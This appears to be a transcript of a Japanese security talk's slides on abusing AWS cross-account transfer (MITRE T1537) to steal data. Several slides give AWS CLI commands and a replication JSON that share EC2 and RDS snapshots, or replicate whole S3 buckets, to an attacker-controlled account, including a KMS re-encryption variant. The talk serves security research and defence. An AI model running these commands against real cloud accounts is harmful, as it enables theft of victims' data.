Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Abuse of Data Transfer between Cloud Accounts

tigerszk
October 06, 2022

Abuse of Data Transfer between Cloud Accounts

2022/10/5にMBSD勉強会にて登壇した際の資料です。

tigerszk

October 06, 2022
Tweet

More Decks by tigerszk

Other Decks in Technology

Transcript

  1. Shun Suzaki(洲崎 俊) 三井物産セキュアディレクション株式会社に所属 ペネトレーションテストなどを中心としたセキュリティサービス提供に従事 コミュニティ運営・ITイベント開催などをライフワークとするお祭り好きのPentester I‘M A CERTAIN PENTESTER!

    公開スライド : http://www.slideshare.net/zaki4649/ https://speakerdeck.com/tigerszk Blog :http://tigerszk.hatenablog.com/ 著書(翻訳):詳解HTTP/2、ハンズオンWebAssembly Twitter: とある診断員@tigerszk 自己紹介
  2. 攻撃手法の分類はこれっぽい? ⚫ Transfer Data to Cloud Account Tactic: Exfiltration ID:

    T1537 https://attack.mitre.org/techniques/T1537/ 本文の一部を引用: Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. 翻訳: 攻撃者は、クラウド環境のバックアップを含むデータを同じサービスで制御す る別のクラウドアカウントに転送することで、データを盗み出す可能性があり ます。これにより、通常のファイル転送/ダウンロードや、ネットワークベー スの盗み出しの検出を回避できます。
  3. 今回の本題 ということで今回は自分が一番良く触っているクラウドサービスである AWSの以下サービスにて、本攻撃手法を悪用するようなシナリオについ て検証・考察してみました。 • Amazon EC2 ご存じAWSのIaaSサービス。LinuxやWindowsサーバーを簡単 に構築できる https://aws.amazon.com/jp/ec2/

    • Amazon RDS 複数のデータベースエンジンを利用でき、運用やスケーリン グなども行ってくれるAWSのマネージドデータベースサービス https://aws.amazon.com/jp/rds/ • Amazon S3 AWSが提供するWebインターフェースを持つオンラインスト レージサービス https://aws.amazon.com/jp/s3/
  4. EC2における悪用例(イメージ図) 被害者のAWS環境 稼働しているEC2 攻撃者のAWS環境 ①稼働するEC2インスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからEBSボリュームを作成し

    て攻撃者のEC2インスタンスからマウントして、 内部情報を奪取 稼働EC2インスタンスに直接アクセスできなくても、スナップ ショットを取得することで、EC2インスタンス内のデータを奪取す ることができます。
  5. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ ec2:CreateSnapshot ◼ ec2:ModifySnapshotAttribute ⚫ 検証時のAWS CLIの実行例 EC2における悪用例(検証した内容)

    aws ec2 create-snapshot --volume-id <EC2にアタッチされているEBSボリュームのID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type remove --user-ids <被害者のAWSアカウントID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type add --user-ids <攻撃者のAWSアカウントID> 稼働しているEC2にアタッチされているEBSボリュームのスナップショットを作成 スナップショットにセットしてあるデフォルトのAWS アカウントIDを削除 スナップショットのAWSアカウントIDを攻撃者のものに変更 後は攻撃者のAWSアカウントにて該当のスナップショットよりEBSボリュームを作成し、 適当なEC2インスタンスよりマウントして解析すればよい。
  6. RDSにおける悪用例(イメージ図) 被害者のAWS環境 稼働しているRDS 攻撃者のAWS環境 ①稼働するRDSインスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからRDSインスタンスを復元し、

    マスターパスワードを好きな値に設定 基本的にはEC2と同じ流れです。 稼働RDSインスタンスに直接アクセスできなくても、スナップショットを 取得することで、DB内のデータを奪取することができます。 ④復元したRDSインスタンに設定したパスワードで 接続し、DB内の情報を奪取 復元したRDS
  7. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ rds:CreateDBSnapshot ◼ rds:ModifyDBSnapshotAttribute ⚫ 検証時のAWS CLIの実行例 RDSにおける悪用例(検証した内容)

    aws rds create-db-snapshot --db-instance-identifier <攻撃対象のRDSの名前> --db-snapshot- identifier victim-rds-snapshot aws rds modify-db-snapshot-attribute --db-snapshot-identifier victim-rds-snapshot -- attribute-name restore --values-to-add <攻撃者のAWSアカウントID> 稼働しているRDSスナップショットを作成 作成したRDSスナップショットを攻撃者のAWSアカウントに共有する 後は、攻撃者側の環境にて、共有されたスナップショットよりRDSを復元し、データベース インスタンスを立ち上げる。 立ち上げたインスタンスのマスターパスワードを好きな値に設定し、設定したパスワードで データベースにアクセスすればよい。
  8. 被害者のAWS環境 バックアップ用のAWS環境 攻撃者のAWS環境 運用するS3バケット 制限が緩いロール S3バケットのデータをレプリケーション するように設定している バックアップ先のS3バケット ①制限が緩いロールを利用され、攻撃者にレプ リケーションルールを勝手に追加

    or 編集され て、攻撃者のS3バケットをレプリケーション 先に追加される。 攻撃者のAWS環境のS3バケットにレプリケーションを行うよ うに勝手に設定変更し、データを奪取します。 S3における悪用例(イメージ図) ②レプリケーションルールを元に、バッチオペ レーションが実行され、S3上に存在する全ての オブジェクトを攻撃者の環境のS3バケットに転 送され、データを奪取されてしまう。 攻撃者が用意したS3バケット
  9. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ s3:PutReplicationConfiguration ◼ s3:CreateJob ◼ iam:PassRole ⚫ 検証時のAWS

    CLIの実行例 S3における悪用例(検証した内容) aws s3api put-bucket-replication --replication-configuration file://replicationConf.json --bucket <被害者のS3バケット> 被害者のS3バケットに設定されているレプリケーションルールを上書き ※replicationConf.jsonの内容は次のスライドに記載
  10. { “Role”: “<利用する被害者環境のroleのarn> ", "Rules": [ { "ID": "s3-rep", "Priority":

    0, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “<正規のレプリケーション先のS3バケットのarn>", “Account”: “<バックアップ用環境のAWSアカウントID>",", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } }, { "ID": "s3-rep2", "Priority": 1, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “<攻撃者環境のS3バケットのarn>", “Account”: “ <攻撃者環境のAWSアカウントID> ", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } } ] } S3における悪用例(検証した内容) replicationConf.jsonにレプリケーションルールの設定を記載している。 検証時には攻撃者環境のS3バケットを指定するようなレプリケーションルールを追加している。 元々設定していた レプリケーションルール 攻撃者が新たに追加した レプリケーションルール
  11. ⚫ 検証時のAWS CLIの実行例 S3における悪用例(検証した内容) aws s3control create-job --account-id <被害者環境のAWSアカウントID> --operation

    ‘{“S3ReplicateObject”:{}}’ --report ‘{“Bucket”:““<被害者環境のS3バケットのarn>”,“Prefix”:“batch- replication-report”, “Format”:“Report_CSV_20180820”,“Enabled”:true,“ReportScope”:“AllTasks”}’ --manifest-generator ‘{“S3JobManifestGenerator”: {“SourceBucket”: “<被害者環境のS3バケットの arn>”, “EnableManifestOutput”: false, “Filter”: {“EligibleForReplication”: true, “ObjectReplicationStatuses”: [“NONE”,“FAILED”,“COMPLETED”,“REPLICA”]}}}’ --priority 1 --role- arn <利用する被害者環境のroleのarn> --no-confirmation-required --region <S3バケットのリージョン> 先ほどのルールを設定しただけでも、新たにS3に書き込まれたオブジェクトは攻撃者環境のS3バケッ トへ転送される。 ルールを設定した時点で被害者環境のS3バケットに存在していたオブジェクトは転送されないため、 設定したレプリケーションルールを元にバッチオペレーションジョブを実行させてS3内のオブジェク ト全てを攻撃者のS3バケットに転送させる。
  12. 条件によっては暗号化されていても… 被害者のAWS環境 稼働しているEC2(暗号化) 攻撃者のAWS環境 ①KMSを利用して新たなCMKを作成し、攻 撃者のAWS環境と共有するように設定 攻撃者が用意したEC2 ④スナップショットのコピー(作成したCMKで 暗号化)を攻撃者のAWSアカウントに共有 ⑤暗号化に使用されているCMKは攻撃者の

    AWS環境側での利用できるため、共有された スナップショットのコピーからEBSボリュー ムを作成できる。 KMSを利用してEC2インスタンスを暗号化していたとしても、攻撃 者が条件をクリアできるような権限を取得していれば、情報を奪取 されてしまう可能性がありえます。 ②稼働するEC2インスタン スからスナップショット (暗号化)を取得 ③新たに作成したCMKを指定 して、作成したスナップ ショットのコピーを作成する。 ⑥作成したEBSボリュームを攻撃者の EC2インスタンスからマウントして、 情報を奪取